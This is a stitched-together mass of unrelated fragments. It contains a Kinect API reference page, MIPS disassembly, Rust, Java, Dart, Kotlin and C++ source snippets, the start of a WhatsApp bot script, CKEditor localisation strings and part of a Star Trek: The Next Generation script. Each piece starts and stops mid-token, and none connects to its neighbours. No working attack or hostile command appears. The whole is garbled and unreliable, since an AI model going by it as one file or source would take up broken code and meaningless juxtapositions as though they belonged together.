CameraPoseFinderParameters Structure
====================================

Defines the number of poses and feature sample locations used by the [CameraPoseFinder](CameraPoseFinder_Class.md) class.

Syntax
======

<colgroup>
<col width="100%" />
</colgroup>

C++

public value struct CameraPoseFinderParameters

<colgroup>
<col width="100%" />
</colgroup>

C#

public struct CameraPoseFinderParameters

<colgroup>
<col width="100%" />
</colgroup>

JavaScript

var cameraPoseFinderParameters = {
      featureSampleLocationsPerFrameCount : /* Your value */,
      maxDepthThreshold : /* Your value */,
      maxPoseHistoryCount : /* Your value */
}

Members
=======

**CameraPoseFinderParameters** has the following members.

Fields
======

<colgroup>
<col width="30%" />
<col width="60%" />
</colgroup>

Name
Description

FeatureSampleLocationsPerFrameCount
The number of features to extract per frame.

MaxDepthThreshold
The maximum depth to use when choosing a threshold value for each of the sample features in a key frame.

MaxPoseHistoryCount
The maximum size of the camera pose finder pose history database.


qz       $v0, .Llevel_55_80082244
/* 5036FE8 80082220 E101022A */   slti      $v0, $s0, 0x1E1
/* 5036FEC 80082224 50014010 */  beqz       $v0, .Llevel_55_80082768
/* 5036FF0 80082228 DD010224 */   addiu     $v0, $zero, 0x1DD
/* 5036FF4 8008222C 9A020212 */  beq        $s0, $v0, .Llevel_55_80082C98
/* 5036FF8 80082230 DD01022A */   slti      $v0, $s0, 0x1DD
/* 5036FFC 80082234 E1004010 */  beqz       $v0, .Llevel_55_800825BC
/* 5037000 80082238 00000000 */   nop
/* 5037004 8008223C 4D0B0208 */  j          .Llevel_55_80082D34
/* 5037008 80082240 00000000 */   nop
.Llevel_55_80082244:
/* 503700C 80082244 EC01022A */  slti       $v0, $s0, 0x1EC
/* 5037010 80082248 BA024010 */  beqz       $v0, .Llevel_55_80082D34
/* 5037014 8008224C EA01022A */   slti      $v0, $s0, 0x1EA
/* 5037018 80082250 74024010 */  beqz       $v0, .Llevel_55_80082C24
/* 503701C 80082254 00000000 */   nop
/* 5037020 80082258 4D0B0208 */  j          .Llevel_55_80082D34
/* 5037024 8008225C 00000000 */   nop
.Llevel_55_80082260:
/* 5037028 80082260 0000908E */  lw         $s0, 0x0($s4)
/* 503702C 80082264 C8E9000C */  jal        func_8003A720
/* 5037030 80082268 21208002 */   addu      $a0, $s4, $zero
/* 5037034 8008226C 8C000224 */  addiu      $v0, $zero, 0x8C
/* 5037038 80082270 080002AE */  sw         $v0, 0x8($s0)
/* 503703C 80082274 03000224 */  addiu      $v0, $zero, 0x3
/* 5037040 80082278 100002A2 */  sb         $v0, 0x10($s0)
/* 5037044 8008227C FF000224 */  addiu      $v0, $zero, 0xFF
/* 5037048 80082280 140002A2 */  sb         $v0, 0x14($s0)
/* 503704C 80082284 02000224 */  addiu      $v0, $zero, 0x2
/* 5037050 80082288 000000AE */  sw         $zero, 0x0($s0)
/* 5037054 8008228C 040000AE */  sw         $zero, 0x4($s0)
/* 5037058 80082290 0E0000A2 */  sb         $zero, 0xE($s0)
/* 503705C 80082294 0F0000A2 */  sb         $zero, 0xF($s0)
/* 5037060 80082298 110000A2 */  sb         $zero, 0x11($s0)
/* 5037064 8008229C 120000A2 */  sb         $zero, 0x12($s0)
/* 5037068 800822A0 130000A2 */  sb         $zero, 0x13($s0)
/* 503706C 800822A4 490082A2 */  sb         $v0, 0x49($s4)
/* 5037070 800822A8 18000224 */  addiu


(
                parsed_sentence.checksum,
                calculated_checksum,
            ));
        }

        Ok(parsed_sentence)
    }

    /// Calculates the actual checksum of a sentence
    fn calc_checksum(&self) -> u8 {
        let mut checksum = 0;
        for byte in &self.prefix[1..] {
            checksum = checksum ^ byte;
        }

        for byte in &self.data[..self.data.len() - 1] {
            checksum = checksum ^ byte;
        }

        checksum
    }
}
<reponame>nelsonjchen/rust-analyzer<gh_stars>0
use hir::db::HirDatabase;
use ra_syntax::{
    ast::{self, AstNode, NameOwner, TypeBoundsOwner},
    SyntaxElement,
    SyntaxKind::*,
    TextRange,
};

use crate::{ast_editor::AstBuilder, Assist, AssistCtx, AssistId};

pub(crate) fn move_bounds_to_where_clause(mut ctx: AssistCtx<impl HirDatabase>) -> Option<Assist> {
    let type_param_list = ctx.node_at_offset::<ast::TypeParamList>()?;

    let mut type_params = type_param_list.type_params();
    if type_params.all(|p| p.type_bound_list().is_none()) {
        return None;
    }

    let parent = type_param_list.syntax().parent()?;
    if parent.children_with_tokens().find(|it| it.kind() == WHERE_CLAUSE).is_some() {
        return None;
    }

    let anchor: SyntaxElement = match parent.kind() {
        FN_DEF => ast::FnDef::cast(parent)?.body()?.syntax().clone().into(),
        TRAIT_DEF => ast::TraitDef::cast(parent)?.item_list()?.syntax().clone().into(),
        IMPL_BLOCK => ast::ImplBlock::cast(parent)?.item_list()?.syntax().clone().into(),
        ENUM_DEF => ast::EnumDef::cast(parent)?.variant_list()?.syntax().clone().into(),
        STRUCT_DEF => parent
            .children_with_tokens()
            .find(|it| it.kind() == RECORD_FIELD_DEF_LIST || it.kind() == SEMI)?,
        _ => return None,
    };

    ctx.add_action(
        AssistId("move_bounds_to_where_clause"),
        "move_bounds_to_where_clause",
        |edit| {
            let type_params = type_param_list.type_params().collect::<Vec<_>>();

            for param in &type_params {
                if let Some(bounds) = param.type_bound_list() {
                    let colon = param
                        .syntax()
                        .children_with_tokens()
                        .find(|it| it.kind() == COLON)
                        .unwrap();
                    let start = colon.text_range().start();
                    let end = bounds.syntax().text_range().end();
                    edit.delete(TextRange::from_to(start, end));
                }
            }

            let predicates = type_params.iter().filter_map(build_predicate);
            let where_clause = AstBuilder::<ast::WhereClause>::from_predicates(predicates);

            let to_insert = match anchor.prev_sibling_or_token() {
                Some(ref elem) if elem.kind() == WHITESPACE => {
                    format!("{} ", where_clause.syntax())
                }
                _


true&script=fluffy-logo&doScale=true&scaleWidth=800&scaleHeight=500&fontsize=100&text='
global.flarun = 'https://www6.flamingtext.com/net-fu/proxy_form.cgi?&imageoutput=true&script=runner-logo&doScale=true&scaleWidth=800&scaleHeight=500&fontsize=100&text='
global.flasmurf = 'https://www6.flamingtext.com/net-fu/proxy_form.cgi?&imageoutput=true&script=smurfs-logo&doScale=true&scaleWidth=800&scaleHeight=500&fontsize=100&text='

//messages
global.mess = {
    success: 'Here you go!',
}

let file = require.resolve(__filename)
fs.watchFile(file, () => {
	fs.unwatchFile(file)
	console.log(chalk.redBright(`Update'${__filename}'`))
	delete require.cache[file]
	require(file)
})//Zenitsu-Bot v5

const {
   spawn
} = require('child_process')
const path = require('path')

function start() {
   let args = [path.join(__dirname, 'main.js'), ...process.argv.slice(2)]
   console.log([process.argv[0], ...args].join('\n'))
   let p = spawn(process.argv[0], args, {
         stdio: ['inherit', 'inherit', 'inherit', 'ipc']
      })
      .on('message', data => {
         if (data == 'reset') {
            console.log('Restarting Bot...')
            p.kill()
            start()
            delete p
         }
      })
      .on('exit', code => {
         console.error('Exited with code:', code)
         if (code == '.' || code == 1 || code == 0) start()
      })
}
start()
require('./settings')
require('./lib/listmenu')
const { modul } = require('./module')
const { os, axios, baileys, chalk, cheerio, child_process, crypto, cookie, FormData, FileType, fetch, fs, fsx, ffmpeg, Jimp, jsobfus, PhoneNumber, process, moment, ms, speed, syntaxerror, util, ytdl, googleTTS, maker } = modul
const { exec, spawn, execSync } = child_process
const { BufferJSON, WA_DEFAULT_EPHEMERAL, generateWAMessageFromContent, proto, generateWAMessageContent, generateWAMessage, prepareWAMessageMedia, areJidsSameUser, getContentType } = baileys
const { clockString, parseMention, formatp, tanggal, getTime, isUrl, sleep, runtime, fetchJson, getBuffer, jsonformat, format, reSize, generateProfilePicture, getRandom } = require('./lib/myfunc')
const { color, bgcolor } = require('./lib/color')
const { fetchBuffer, buffergif } = require("./lib/myfunc2")
const { rentfromdeepak, conns } = require('./RentBot')
const { uptotelegra } = require('./scrape/upload')
const { msgFilter } = require('./lib/antispam')

const { ytDonlodMp3, ytDonlodMp4, ytPlayMp3, ytPlayMp4, ytSearch } = require('./scrape/yt')
const scp1 = require('./scrape/scraper')
const scp2 = require('./scrape/scraperr')
const scp3 = require('./scrape/scraperrr')
const ffstalk = require('./scrape/ffstalk')
const githubstalk = require('./scrape/githubstalk')
const npmstalk = require('./scrape/npmstalk')
const mlstalk = require('./scrape/mlstalk')
const photooxy = require('./scrape/photooxy')
const yts = require('./scrape/yt-search')
const vm = require('node:vm')
const { EmojiAPI } = require("emoji-api")
const emoji = new EmojiAPI()
const owne


fo("bar");
		FileBundle fileBundle = TestClassUtils.fromFiles(new StubFileInfo("foo"), bar, new StubFileInfo("fizz"));
		Workspace workspace = TestClassUtils.fromBundle(fileBundle);

		// Remove 'bar'
		fileBundle.remove(bar.getName());

		// Build the patch.
		WorkspacePatch patch = patchProvider.createPatch(workspace);

		// Assert the patch has the removal
		assertEquals(1, patch.removals().size(), "Expected 1 file removal");

		// Assert serialization/deserialization doesn't result in breakage.
		String serialized = patchProvider.serializePatch(patch);
		WorkspacePatch deserializePatch = patchProvider.deserializePatch(workspace, serialized);
		assertEquals(patch, deserializePatch);

		// Undo the change.
		fileBundle.put(bar);

		// Apply the patch
		assertTrue(patchApplier.apply(patch, failOnErrors()));

		// Validate the patch was applied
		assertNull(fileBundle.get(bar.getName()), "File bundle post-patch did not remove 'bar'");
	}

	@Test
	void testRemove_jvmClass() throws Throwable {
		JvmClassInfo bar = new StubClassInfo("bar").asJvmClass();
		JvmClassBundle classBundle = TestClassUtils.fromClasses(new StubClassInfo("foo").asJvmClass(), bar, new StubClassInfo("fizz").asJvmClass());
		Workspace workspace = TestClassUtils.fromBundle(classBundle);

		// Remove 'bar'
		classBundle.remove(bar.getName());

		// Build the patch.
		WorkspacePatch patch = patchProvider.createPatch(workspace);

		// Assert the patch has the removal
		assertEquals(1, patch.removals().size(), "Expected 1 class removal");

		// Assert serialization/deserialization doesn't result in breakage.
		String serialized = patchProvider.serializePatch(patch);
		WorkspacePatch deserializePatch = patchProvider.deserializePatch(workspace, serialized);
		assertEquals(patch, deserializePatch);

		// Undo the change.
		classBundle.put(bar);

		// Apply the patch
		assertTrue(patchApplier.apply(patch, failOnErrors()));

		// Validate the patch was applied
		assertNull(classBundle.get(bar.getName()), "Class bundle post-patch did not remove 'bar'");
	}

	@Nonnull
	private PatchFeedback failOnErrors() {
		return new PatchFeedback() {
			@Override
			public void onAssemblerErrorsObserved(@Nonnull List<Error> errors) {
				fail("Errors encountered applying patch: " + errors.stream().map(Error::getMessage).collect(Collectors.joining(", ")));
			}

			@Override
			public void onIncompletePathObserved(@Nonnull PathNode<?> path) {
				fail("Incomplete path: " + path);
			}
		};
	}
}package software.coley.recaf.services.mapping.format;

import org.junit.jupiter.api.Test;
import software.coley.recaf.services.mapping.IntermediateMappings;
import software.coley.recaf.services.mapping.Mappings;

import static org.junit.jupiter.api.Assertions.*;

/**
 * Tests various {@link MappingFileFormat} implementation's ability to parse input texts.
 */
public class MappingImplementationTest {
	@Test
	void testTinyV1() {
		String mappingsText = """
				v1\tintermediary\tnamed
				CLASS\ttest/Greetings\trename/Hello
				FIELD\ttest/Greetings\tLjava/lang/String;\toldField\tnewField
				METHOD\ttest/Greetings\t()V\tsay\tspeak""";
		MappingFileFormat format = new TinyV1Mappings();
		IntermediateMappings mappings = assertDoesNotThrow(() -> format.parse(mappingsText));
		assertInheritMap(mappings);
	}

	@Test
	void testTinyV1WithTwoOutputs() {
		String mappingsText = """
				v1\tintermediary\tobfuscated\tnamed
				CLASS\ttest/Greetings\ta\trename/Hello
				FIELD\ttest


yle
 * license that can be found in the LICENSE file or at
 * https://developers.google.com/open-source/licenses/bsd
 */
part of charted.layout;

/**
 * Utility class to create arc definitions that can be used by the SvgArc
 * to generate arcs for pie and donut charts
 */
class PieLayout {
  /**
   * Callback to convert datum to values used for layout
   * Defaults to [defaultValueAccessor]
   */
  SelectionValueAccessor<num> accessor = defaultValueAccessor;

  /**
   * Callback to get the start angle for the pie. This callback is
   * called once per list of value (i.e once per call to [layout])
   * Defaults to [defaultStartAngleCallback]
   */
  SelectionCallback<num> startAngleCallback = defaultStartAngleCallback;

  /**
   * Callback to get the start angle for the pie. This callback is
   * called once per list of value (i.e once per call to [layout])
   * Defaults to [defaultEndAngleCallback]
   */
  SelectionCallback<num> endAngleCallback = defaultEndAngleCallback;

  /**
   * Comparator that is used to set the sort order of values. If not
   * specified, the input order is used.
   */
  Comparator<num> compare = null;

  /**
   * Return a list of SvgArcData objects that could be used to create
   * arcs in a pie-chart or donut-chart.
   */
  List<SvgArcData> layout(List<num> data, [int ei, Element e]) {
    var values =
            new List.generate(data.length, (int i) => accessor(data[i], i)),
        startAngle = startAngleCallback(data, ei, e),
        endAngle = endAngleCallback(data, ei, e),
        total = sum(values),
        scaleFactor = (endAngle - startAngle) / (total > 0 ? total : 1),
        arcs = new List<SvgArcData>(data.length);
    List<int> index =
        new Range.integers(values.length).map<int>((v) => v as int).toList();

    if (compare != null) {
      index.sort((left, right) => compare(data[left], data[right]));
    }

    int count = 0;
    index.forEach((i) {
      endAngle = startAngle + values[i] * scaleFactor;
      arcs[count++] = new SvgArcData(data[i], values[i], startAngle, endAngle);
      startAngle = endAngle;
    });

    return arcs;
  }

  /** Sets a constant value to start angle of the layout */
  set startAngle(num value) {
    startAngleCallback = toCallback(value);
  }

  /** Sets a constant value to end angle of the layout */
  set endAngle(num value) {
    endAngleCallback = toCallback(value);
  }

  /** Default value accessor */
  static num defaultValueAccessor(d, int i) => d as num;

  /** Default start angle callback - returns 0 */
  static num defaultStartAngleCallback(d, i, _) => 0;

  /** Default end angle callback - returns 2 * PI */
  static num defaultEndAngleCallback(d, i, _) => 2 * pi;
}
//
// Copyright 2014 Google Inc. All rights reserved.
//
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file or at
// https://developers.google.com/open-source/licenses/bsd
//
part of charted.core.scales;

/// Log scale is similar to linear scale, except there's a logarithmic
/// transform that is applied to the input domain value before the output
/// range value is computed.
///
/// The mapping to the output range value y can be expressed as a function


n the same
        // order. If this is to be achieved, the for_each iteration would have to pause when
        // a mutation occurs, set, then continue where it left off. This is a much more extensive
        // change, and since it should not be feasibly triggered, it's left as this for now.
        #[cfg(feature = "go-interop")]
        {
            let mut mutated = ahash::AHashMap::new();

            self.root.node.for_each_while_mut(
                &self.block_store,
                self.height(),
                self.bit_width(),
                0,
                &mut |idx, value| {
                    let keep_going = f(idx, value)?;

                    if value.value_changed() {
                        // ! this is not ideal to clone and mark unchanged here, it is only done
                        // because the go-implementation mutates the Amt as they iterate through it,
                        // which we cannot do because it is memory unsafe (and I'm not certain we
                        // don't have side effects from doing this unsafely)
                        value.mark_unchanged();
                        mutated.insert(idx, value.clone());
                    }

                    Ok(keep_going)
                },
            )?;

            for (i, v) in mutated.into_iter() {
                self.set(i, v)?;
            }

            Ok(())
        }
    }
}
//! Contains constants for all possible combinations of light and heavy/bold characters.

/// Down Light and Right Heavy "┍"
/// Codepoint (Hex): U+250D
pub const DOWN_LIGHT_AND_RIGHT_HEAVY: &str = "┍";

/// Down Heavy and Right Light "┎"
/// Codepoint (Hex): U+250E
pub const DOWN_HEAVY_AND_RIGHT_LIGHT: &str = "┎";

/// Down Light and Left Heavy "┑"
/// Codepoint (Hex): U+2511
pub const DOWN_LIGHT_AND_LEFT_HEAVY: &str = "┑";

/// Down Heavy and Left Light "┒"
/// Codepoint (Hex): U+2512
pub const DOWN_HEAVY_AND_LEFT_LIGHT: &str = "┒";

/// Up Light and Right Heavy "┕"
/// Codepoint (Hex): U+2515
pub const UP_LIGHT_AND_RIGHT_HEAVY: &str = "┕";

/// Up Heavy and Right Light "┖"
/// Codepoint (Hex): U+2516
pub const UP_HEAVY_AND_RIGHT_LIGHT: &str = "┖";

/// Up Light and Left Heavy "┙"
/// Codepoint (Hex): U+2519
pub const UP_LIGHT_AND_LEFT_HEAVY: &str = "┙";

/// Up Heavy and Left Light "┚"
/// Codepoint (Hex): U+251A
pub const UP_HEAVY_AND_LEFT_LIGHT: &str = "┚";

/// Vertical Light and Right Heavy "┝"
/// Codepoint (Hex): U+251D
pub const VERTICAL_LIGHT_AND_RIGHT_HEAVY: &str = "┝";

/// Up Heavy and Right Down Light "┞"
/// Codepoint (Hex): U+251E
pub const UP_HEAVY_AND_RIGHT_DOWN_LIGHT: &str = "┞";

/// Down Heavy and Right Up Light "┟"
/// Codepoint (Hex): U+251F
pub const DOWN_HEAVY_AND_RIGHT_UP_LIGHT: &str = "┟";

/// Vertical Heavy and Right Light "┠"
/// Codepoint (Hex): U+2520
pub const VERTICAL_HEAVY_AND_RIGHT_LIGHT: &str = "┠";

/// Down Light and Right Up Heavy "┡"
/// Codepoint (Hex): U+2521
pub const DOWN_LIGHT_AND_RIGHT_UP_HEAVY: &str = "┡";

/// Up Light and Right Down Heavy "┢"
/// Codepoint (Hex): U+2522
pub const UP_LIGHT_AND_RIGHT_DOWN_HEAVY: &str =


 and works for both copying the string
      // and copying the context. Other commands don't need to do anything.
      return context;
    };
  }

  /// Construct a TypeLookupError that wraps a function returning a string. The
  /// passed-in function can return either a `std::string` or `char *`. If it
  /// returns `char *` then the string will be destroyed with `free()`.
  template <typename F> TypeLookupError(const F &fn) {
    Context = new F(fn);
    Fn = [](void *context, Command command, void *param) -> void * {
      auto castContext = reinterpret_cast<F *>(context);
      switch (command) {
      case Command::CopyErrorString: {
        return TypeLookupError::getCString((*castContext)());
      }
      case Command::DestroyErrorString:
        free(param);
        return nullptr;
      case Command::CopyContext:
        return new F(*castContext);
      case Command::DestroyContext:
        delete castContext;
        return nullptr;
      }
      llvm_unreachable("unhandled command!");
    };
  }

  /// Get the error string from the error value. The value must be passed to
  /// `freeErrorString` when done. (Unless you're just calling a `fatalError`
  /// in which case there's no point.)
  char *copyErrorString() const {
    return reinterpret_cast<char *>(
        Fn(Context, Command::CopyErrorString, nullptr));
  }

  /// Free an error string previously obtained from `copyErrorString`.
  void freeErrorString(char *str) const {
    Fn(Context, Command::DestroyErrorString, str);
  }
};

/// A value that's either a `TypeLookupError` or some parameterized type value `T`. A
/// convenience wrapper around `TaggedUnion<T, TypeLookupError>`.
template <typename T> class TypeLookupErrorOr {
  TaggedUnion<T, TypeLookupError> Value;

public:
  TypeLookupErrorOr() : Value(TypeLookupError("freshly constructed error")) {}

  TypeLookupErrorOr(const T &t, bool ignoreValueCheck = false) : Value(t) {
    if (!t && !ignoreValueCheck)
      Value = TypeLookupError("unknown error");
  }

  TypeLookupErrorOr(const TypeLookupError &te) : Value(te) {}

  T getType() {
    if (auto *ptr = Value.template dyn_cast<T>())
      return *ptr;
    return T();
  }

  TypeLookupError *getError() {
    return Value.template dyn_cast<TypeLookupError>();
  }

  bool isError() { return getError() != nullptr; }
};

/// Construct a TypeLookupError that creates a string using asprintf. The
/// passed-in format string and arguments are passed directly to swift_asprintf
/// when the string is requested. The arguments are captured and the string is
/// only formatted when needed.
///
/// The crazy sizeof(swift_asprintf(... construct gives us compile-time type
/// checking of the format string and arguments, while still letting us use the
/// variadic template to safely capture the arguments in the lambda.
#define TYPE_LOOKUP_ERROR_FMT(...)                                             \
  (sizeof(swift_asprintf(NULL, __VA_ARGS__)), TypeLookupErrorImpl(__VA_ARGS__))

// Implementation for TYPE_LOOKUP_ERROR_FMT. Don't call directly.
template <typename... Args>
static TypeLookupError TypeLookupErrorImpl(const char *fmt, Args... args) {
  return TypeLookupError([=] {
    char *str;
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wformat-security"
#pragma clang diagnostic ignored "-Wformat-nonliteral"
    swift_asprintf(&str, fmt, args...);
#pragma clang diagnostic pop
    return str;
  });
}

} // namespace swift

#endif // SWIFT_DEMANGLING_TypeLookupError_H


plugin = plugins[names[i]];
			if (plugin) {
				available.push(plugin);
			}
		}
		return available;
	}

	/**
	 * Initializes the plugins in the given list.
	 *
	 * @param {Array.<Plugins>} plugins Plugins to initialize.
	 * @param {function} callback Function to invoke once all plugins have been
	 *                            successfully initialized.
	 */
	function initializePlugins(plugins, callback) {
		var numToEnable = plugins.length;
		var onInit = function () {
			if (0 === --numToEnable && callback) {
				callback();
			}
		};
		var i;
		var ret;
		var plugin;
		for (i = 0; i < plugins.length; i++) {
			plugin = plugins[i];
			plugin.settings = plugin.settings || {};
			if (typeof plugin.settings.enabled === 'undefined') {
				plugin.settings.enabled = true;
			}
			if (plugin.settings.enabled && plugin.checkDependencies()) {
				ret = plugin.init();
				if (ret && typeof ret.done === 'function') {
					ret.done(onInit);
				} else {
					onInit();
				}
			}
		}
	}

	/**
	 * The Plugin Manager controls the lifecycle of all Aloha Plugins.
	 *
	 * @namespace Aloha
	 * @class PluginManager
	 * @singleton
	 */
	return new (Class.extend({

		plugins: {},

		/**
		 * Initialize all registered plugins.
		 *
		 * @param {function} next Callback to invoke after plugins have
		 *                        succefully initialized.
		 * @param {Array.<string>} enabled A list of plugin names which are to
		 *                                 be enable.
		 */
		init: function (next, enabled) {
			var manager = this;
			var plugins = manager.plugins;

			mapSettingsIntoPlugins(plugins,
					Aloha && Aloha.settings && Aloha.settings.plugins);

			// Because all plugins are enabled by default if specific plugins
			// are not specified.
			var plugin;
			if (plugins && 0 === enabled.length) {
				enabled = [];
				for (plugin in plugins) {
					if (plugins.hasOwnProperty(plugin)) {
						enabled.push(plugin);
					}
				}
			}

			initializePlugins(getPlugins(plugins, enabled), next);
		},

		/**
		 * Register a plugin
		 * @param {Plugin} plugin plugin to register
		 */
		register: function (plugin) {

			if (!plugin.name) {
				throw new Error('Plugin does not have an name.');
			}

			if (this.plugins[plugin.name]) {
				throw new Error('Already registered the plugin "' + plugin.name + '"!');
			}

			this.plugins[plugin.name] = plugin;
		},

		/**
		 * Pass the given jQuery object, which represents an editable to all plugins, so that they can make the content clean (prepare for saving)
		 * @param obj jQuery object representing an editable
		 * @return void
		 * @hide
		 */
		makeClean: function (obj) {
			var i, plugin;
			// iterate through all registered plugins
			for (plugin in this.plugins) {
				if (this.plugins.hasOwnProperty(plugin)) {
					if (Aloha.Log.isDebugEnabled()) {
						Aloha.Log.debug(this, 'Passing contents of HTML Element with id { ' + obj.attr('id') + ' } for cleaning to plugin { ' + plugin + ' }');
					}
					this.plugins[plugin].makeClean(obj);
				}
			}
		},

		/**
		 * Expose a nice name for the Plugin Manager
		 * @hide
		 */
		toString: function () {
			return 'pluginmanager';
		}

	}))();
});

/*core.js is part of Aloha Editor project http://aloha-editor.org
 *
 * Aloha Editor is a WYSIWYG HTML5 inline editing library and editor.
 * Copyright (c) 2010-2012 Gentics Software GmbH, Vienna, Austria.
 * Contributors http://aloha-editor.org/contribution.php
 *
 * Aloha Editor is free software; you can re


IKO_GH_RELEASE_TOKEN"))
        .build()
import org.apache.tools.ant.taskdefs.condition.Os
import org.gradle.api.GradleException
import org.gradle.api.Project
import java.io.File

enum class OS(
    val id: String,
    val clangFlags: Array<String>
) {
    Linux("linux", arrayOf()),
    Android("android", arrayOf()),
    Windows("windows", arrayOf()),
    MacOS("macos", arrayOf("-mmacosx-version-min=10.15")),
    Wasm("wasm", arrayOf()),
    IOS("ios", arrayOf()),
    TVOS("tvos", arrayOf())
    ;

    val isWindows
        get() = this == Windows

    val isMacOs
        get() = this == MacOS

    fun idWithSuffix(isUikitSim: Boolean = false): String {
        return id + if (isUikitSim) "Sim" else ""
    }
}

val OS.isCompatibleWithHost: Boolean
    get() = when (this) {
        OS.Linux -> hostOs == OS.Linux
        OS.Windows -> hostOs == OS.Windows
        OS.MacOS, OS.IOS, OS.TVOS -> hostOs == OS.MacOS
        OS.Wasm -> true
        OS.Android -> true
    }

fun compilerForTarget(os: OS, arch: Arch, isJvm: Boolean = false): String =
    when (os) {
        // TODO: Use clang++ for all Linux targets
        OS.Linux -> when (arch) {
            Arch.X64 -> "g++"
            Arch.Arm64 -> if (isJvm) {
                "clang++"
            } else {
                if (hostArch == Arch.Arm64) "g++" else "aarch64-linux-gnu-g++"
            }
            Arch.Wasm -> "Unexpected combination: $os & $arch"
        }
        OS.Android -> "clang++"
        OS.Windows -> "clang-cl.exe"
        OS.MacOS, OS.IOS, OS.TVOS -> "clang++"
        OS.Wasm -> if (Os.isFamily(Os.FAMILY_WINDOWS)) "emcc.bat" else "emcc"
    }

fun linkerForTarget(os: OS, arch: Arch, isJvm: Boolean = false): String =
    if (os.isWindows) "lld-link.exe" else compilerForTarget(os, arch, isJvm)

val OS.dynamicLibExt: String
    get() = when (this) {
        OS.Linux, OS.Android -> ".so"
        OS.Windows -> ".dll"
        OS.MacOS, OS.IOS, OS.TVOS -> ".dylib"
        OS.Wasm -> ".wasm"
    }

enum class Arch(val id: String) {
    X64("x64"),
    Arm64("arm64"),
    Wasm("wasm");

    companion object {
        fun byName(name: String) = Arch.values().find { it.id == name }
    }
}

enum class SkiaBuildType(
    val id: String,
    val flags: Array<String>,
    val clangFlags: Array<String>,
    val winCompilerFlags: Array<String>,
    val winLinkerFlags: Array<String>
) {
    DEBUG(
        id = "Debug",
        flags = arrayOf("-DSK_DEBUG"),
        clangFlags = arrayOf("-std=c++17", "-g", "-DSK_TRIVIAL_ABI=[[clang::trivial_abi]]"),
        winCompilerFlags = arrayOf("/Zi", "/std:c++17"),
        winLinkerFlags = arrayOf("/DEBUG"),
    ),
    RELEASE(
        id = "Release",
        flags = arrayOf("-DNDEBUG"),
        clangFlags = arrayOf("-std=c++17", "-O3"),
        winCompilerFlags = arrayOf("/O2", "/std:c++17"),
        winLinkerFlags = arrayOf("/DEBUG"),
    );
    override fun toString() = id
}

val hostOs by lazy {
    val osName = System.getProperty("os.name")
    when {
        osName == "Mac OS X" -> OS.MacOS
        osName == "Linux" -> OS.Linux
        osName.startsWith("Win") -> OS.


tele kohtadele."},{name:"Hõlbustuste abi",legend:"Vajuta ${a11yHelp}"},{name:"Asetamine tavalise tekstina",legend:"Vajuta ${pastetext}",legendEdge:"Vajuta ${pastetext}, siis ${paste}"}]}],tab:"Tabulaator",pause:"Paus",capslock:"Tõstulukk",escape:"Paoklahv",
pageUp:"Leht üles",pageDown:"Leht alla",leftArrow:"Nool vasakule",upArrow:"Nool üles",rightArrow:"Nool paremale",downArrow:"Nool alla",insert:"Sisetamine",leftWindowKey:"Vasak Windowsi klahv",rightWindowKey:"Parem Windowsi klahv",selectKey:"Vali klahv",numpad0:"Numbriala 0",numpad1:"Numbriala 1",numpad2:"Numbriala 2",numpad3:"Numbriala 3",numpad4:"Numbriala 4",numpad5:"Numbriala 5",numpad6:"Numbriala 6",numpad7:"Numbriala 7",numpad8:"Numbriala 8",numpad9:"Numbriala 9",multiply:"Korrutus",add:"Pluss",
subtract:"Miinus",decimalPoint:"Koma",divide:"Jagamine",f1:"F1",f2:"F2",f3:"F3",f4:"F4",f5:"F5",f6:"F6",f7:"F7",f8:"F8",f9:"F9",f10:"F10",f11:"F11",f12:"F12",numLock:"Numbrilukk",scrollLock:"Kerimislukk",semiColon:"Semikoolon",equalSign:"Võrdusmärk",comma:"Koma",dash:"Sidekriips",period:"Punkt",forwardSlash:"Kaldkriips",graveAccent:"Rõhumärk",openBracket:"Algussulg",backSlash:"Kurakaldkriips",closeBracket:"Lõpusulg",singleQuote:"Ülakoma"});/*
 Copyright (c) 2003-2023, CKSource Holding sp. z o.o. All rights reserved.
 For licensing, see LICENSE.md or https://ckeditor.com/legal/ckeditor-oss-license
*/
CKEDITOR.plugins.setLang("a11yhelp","sr",{title:"Упутства за помоћ",contents:"Садржаји за помоћ. Да би сте затворили дијалог притисните ЕСЦ",legend:[{name:"Опште",items:[{name:"Алатке за преуређиванје",legend:"Притисните ${тоолбарФоцус} да бисте прешли на траку са алаткама. Пређите на следећу и претходну групу трака са алаткама помоћу ТАБ и СХИФТ+ТАБ. Пређите на следеће и претходно дугме на траци са алаткама помоћу СТРЕЛИЦЕ НАДЕСНО или СТРЕЛИЦА НАЛЕВО. Притисните СПАЦЕ или ЕНТЕР да бисте активирали дугме на траци са алаткама. Након активирања дугмета на траци са алаткама, фокус ће бити померен назад у област за уређивање."},
{name:"Уређивач дијалога",legend:"Унутар дијалога притисните ТАБ да пређете на следећи елемент дијалога, притисните СХИФТ+ТАБ да пређете на претходни елемент дијалога, притисните ЕНТЕР да пошаљете дијалог, притис


his chair and sit down a few times as the scene

    progresses.

 BARCLAY

    (quickly)

    Sir, we analyzed the venom and

    compared it to the acidic compound

    we found in Junction Seventeen...

    and on Decks Ten and Twelve. They

    all have the same enzymatic

    composition...

 Riker tries to make sense of this.

 RIKER

    Are you saying that Mister Worf

    has been... spraying this...

    this...

 BARCLAY

    Venom.

 RIKER

    Venom... all over the ship?

 BARCLAY

    I'd say so.

 Riker nods... tries to make sense of the situation.

 OGAWA

    Commander, sixty crewmen have

    begun to exhibit strange

    behavioral changes.

    (MORE)

 STAR TREK: "Genesis" - 01/07/94 - ACT TWO 29.

27 CONTINUED:

 OGAWA (Cont'd)

    Memory loss... fatigue...

    headaches...

    (beat)

    Doctor Selar and I are trying to

    coordinate everything... but we're

    having a tough time understanding

    what we're dealing with.

    (beat)

    I think one thing is clear...

    there's some sort of disease

    aboard the Enterprise... and it's

    spreading.

 Riker nods, tries to organize his thoughts.

 RIKER

    I'm having trouble concentrating

    myself... it's like my mind

    keeps... wandering... I can't...

 He drifts off. There's an uncomfortable moment.

    Geordi ENTERS, looking concerned.

 GEORDI

    (to Riker)

    Commander -- I have seven security

    teams hunting for Worf, but for

    some reason sensors are having

    trouble locking onto him. I've

    called a Level Two Security Alert --

    do you think we should go to a

    Level One?

 Riker hesitates.

 RIKER

    I... don't know. What do you

    think?

 GEORDI

    I think we should...

 RIKER

    Okay... sounds good... then you'll

    take care of that... security

    thing, won't you?

 GEORDI

    Yes sir.

 Riker takes a moment.

 STAR TREK: "Genesis" - 01/07/94 - ACT TWO 30.

27 CONTINUED: (2)

 RIKER

    I'll... contact Starfleet... let

